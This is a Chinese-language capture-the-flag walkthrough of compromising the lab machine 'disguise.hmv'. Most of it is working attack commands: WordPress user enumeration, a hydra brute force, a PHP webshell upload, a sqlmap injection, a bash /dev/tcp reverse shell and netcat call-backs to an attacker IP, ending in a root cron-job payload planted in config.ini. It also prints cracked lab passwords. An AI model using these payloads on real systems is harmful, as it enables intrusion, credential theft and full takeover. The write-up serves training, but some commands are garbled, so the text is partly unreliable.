初步扫描
端口扫描和服务枚举
使用使用nmap扫描目标,以识别打开的端口和在服务器上运行的服务
nmap -sC -sS -sV -T5 -A 10.0.2.17 -p-
发现目标主机已打开22端口(SSH)和80端口(HTTP)。WordPress站点(Nmap识别为WordPress 6.7.2)位于Apache Web服务器中的80端口。操作系统是Linux (Debian)。
网络枚举
Nikto扫描
使用nikto扫描网站漏洞和敏感文件
nikto -h http://disguise.hmv
发现目标缺少X-Frame-Options安全标头,并指向WordPress API下的/robots.txt和/wp-json/目录
分析robots.txt
查看robots.txt
发现其为标准的WordPress条目。/wp-admin/是管理页面,访问admin-ajax.php通常是前端功能所必需的。
WordPress用户枚举
尝试通过 WordPress REST API,根据用户 ID 来查找用户名。
curl -s http://disguise.hmv/wp-json/WP/V2/users/1 | jq
curl -s http://disguise.hmv/wp-json/WP/V2/users/2 | jq
API显示ID 1的用户名simpleAdmin。而ID 2则收到一个错误,表明没有具有此ID的用户(或者API没有披露更多)
WordPress扫描(wpscan)
使用wpscan对WordPress进行更详细的分析。
wpscan — url http://disguise.hmv/ — enumerate u,vp,vt,tt — api-token xxx
扫描发现WordPress 版本为 6.8.1,发现目标主题newscrunch(已过时)和另一个已安装主题newsblogger(已过时)存在两个已知漏洞:(CVE-2025-1304:文件上传,CVE-2025-1305:CSRF)。同时还确认了用户名 simpleadmin 和 simpleAdmin。结果显示使用 wpscan 和 rockyou.txt 进行的第一次暴力尝试因耗时过长而被取消。
子域发现和枚举 (dark.disguise.hmv)
子域模糊测试
由于主网站没有发现直接的漏洞,通过模糊主机标头来搜索带有 wfuzz 的子域
wfuzz -c -w /root/Downloads/subdomains.txt -u "http://disguise.hmv" -H "Host:FUZZ.disguise.hmv" --hc "404" --hh 78369
响应码为200的"dark"的结果表示有效的子域dark.disguise.hmv。
为了让系统解析到新的子域,将其输入到/etc/hosts文件中。
vi /etc/hosts
目录扫描
用gobuster扫描新的子域以查找目录和文件。
gobuster dir -u http://dark.disguise.hmv -w "/root/Downloads/directory-list-2.3-medium.txt" -x php,html,... -b '503,404' -e - no-error -k
Gobuster在dark.disguise.hmv上找到了一个单独的网络应用程序。发现是login.php、register.php、config.php(文件为空,但存在)、functions.php,特别是目录/manager/
页面分析
在查看http://dark.disguise.hmv/index.php的源代码时,发现image_handler.php使用ID加载图像
使用这种处理程序的方式容易受到本地文件包含(LFI)或其他漏洞的攻击。
初始访问
暴力破解密码
尝试在子域dark.disguise.hmv的登录页面上使用之前找到的用户名simpleAdmin登录
hydra -l simpleAdmin -P /root/Downloads/rockyou.txt dark.disguise.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:用户名或密码不正确" -f -t 64 -I
找到密码Str0ngPassw0d1@@@
登录和Webshell上传
使用前面得到的账号密码simpleAdmin/Str0ngPassw0d1@@@访问:http://dark.disguise.hmv/login.php
访问管理后台,发现添加商品处存在上传功能
尝试上传一句话木马
<?php system($_GET['cmd']); ?>
由于不知道上传 shell 的路径,因此使用 SQL 注入方法来从数据库中读取它。在添加产品的函数上使用 sqlmap。
sqlmap -u "http://dark.disguise.hmv/manager/add_product.php" --method=POST --data="name=test&description=test*&price=1&image=dummy" --cookie="PHPSESSID=8s74ok22a6o4fcna8qucp0fdcm; dark_sescription --technique=T --dbms=mysql --sql-query="SELECT image FROM dark_shop.products" --batch --threads=5读取得到所有添加的图像的路径:
测试Webshell:
http://dark.disguise.hmv/images/db694ae9b9074deec82cdcf6dd1365de.php?cmd=id
反弹shell
在攻击机上启动侦听
nc -lvnp 4444
浏览器访问
http://dark.disguise.hmv/images/db694ae9b9074deec82cdcf6dd1365de.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.2.24/4444%200%3E%261%27
提权
反弹shell中操作
which python3 #查询是否有python3
python3 -c 'import pty;pty.spawn("/bin/bash")' #为了更好的操作shell
id
find / -type f -perm -4000 -ls 2>/dev/null # 搜索SUID二进制文件,如mount、su、sudo、passwd等
ls /home/
ls -laH /home/darksoul/
发现配置文件config.ini
cat /home/darksoul/config.ini
得到数据库信息
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)继续推进
sudo -l
ls -la /opt/
cat /opt/query.py
得知脚本通过sys.argv[1]读取配置文件并执行DB查询
使用 pspy 进行分析
在攻击机上使用python3启动一个web服务
python3 -m http.server 55555
在目标的反弹shell中下载运行
wget http://10.0.2.24:55555/pspy64
chmod +x pspy64
./pspy64
可以看到,每分钟一个进程以UID=0(根)的身份启动,该进程运行脚本/opt/query.py和配置文件/home/darksoul/config.ini

横向移动
为了能够操作config.ini(因为它属于root),使用工具suForce尝试破解用户darksoul的密码。
在攻击机上使用python3启动一个web服务
python3 -m http.server 55555
在目标的反弹shell中下载程序和字典运行
成功爆破出密码:Str0ngPassw0d1???

Cronjob 漏洞利用(CVE-2025-21548 — 模拟)
切换到darksoul,删除原始config.ini,并创建一个具有有效载荷的新载荷,该有效载荷利用mysql.connector中的漏洞。 切换到darksoul用户
su darksoul
删除原始config.ini
cd /home/darksoul/
ls -l config.ini
rm config.ini
写入新的载荷
nano /home/darksoul/config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 10.0.2.24 6666')在攻击机启动一个新的侦听端口,等到下次cron作业运行(大约1分钟)

读取flag
cd /root
ls
cat root.txt
cat /home/darksoul/user.txt